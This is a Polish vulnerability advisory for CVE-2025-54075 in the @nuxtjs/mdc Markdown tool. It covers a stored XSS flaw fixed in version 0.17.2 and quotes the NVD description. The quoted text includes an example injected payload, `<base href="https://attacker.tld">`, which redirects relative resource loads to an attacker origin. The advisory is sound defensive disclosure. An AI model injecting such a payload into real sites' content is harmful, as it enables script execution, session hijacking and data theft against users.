CVE-2025-54075
WysokieStreszczenie
MDC to narzędzie do przetwarzania Markdown, które przed wersją 0.17.2 miało podatność na zdalne wstrzykiwanie skryptów oraz przechowywane ataki XSS. Umożliwiało to autorom Markdown wstrzykiwanie elementu `<base>` do dokumentów, co pozwalało atakującym na ładowanie złośliwych zasobów z zewnętrznych źródeł.
Ocena ryzyka
Podatność ta stwarza poważne ryzyko dla organizacji, ponieważ umożliwia atakującym wykonywanie dowolnego JavaScriptu w kontekście strony, co może prowadzić do kradzieży danych lub przejęcia sesji użytkowników.
Rekomendacja
Zaleca się aktualizację do wersji 0.17.2 lub nowszej, aby usunąć tę podatność oraz przeprowadzenie audytu bezpieczeństwa aplikacji korzystających z MDC.
Inne podatności w @nuxtjs/mdc
Oryginalny opis (angielski, źródło NVD)
MDC is a tool to take regular Markdown and write documents interacting deeply with a Vue component. Prior to version 0.17.2, a remote script-inclusion / stored cross-site scripting vulnerability in @nuxtjs/mdc lets a Markdown author inject a `<base href="https://attacker.tld">` element. The `<base>` tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context. Version 0.17.2 contains a fix for the issue.

